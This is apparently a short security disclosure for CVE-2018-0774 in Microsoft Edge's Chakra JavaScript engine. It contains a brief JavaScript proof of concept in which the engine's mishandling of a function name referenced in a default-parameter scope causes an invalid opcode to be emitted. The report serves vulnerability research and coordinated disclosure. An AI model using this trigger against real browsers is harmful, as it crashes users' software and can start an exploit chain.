Microsoft Edge Chakra Incorrect Scope Handling

`Microsoft Edge: Chakra: Incorrect scope handling   
  
CVE-2018-0774  
  
  
PoC:  
(function func(arg = function () {  
print(func); // SetHasOwnLocalInClosure should be called for the param scope in the PostVisitFunction function.  
}()) {  
print(func);  
function func() {  
  
}  
})();  
  
Chakra fails to distinguish whether the function is referenced in the param scope and ends up to emit an invalid opcode.  
  
  
This bug is subject to a 90 day disclosure deadline. After 90 days elapse  
or a patch has been made broadly available, the bug report will become  
visible to the public.  
  
  
  
  
Found by: lokihardt  
  
`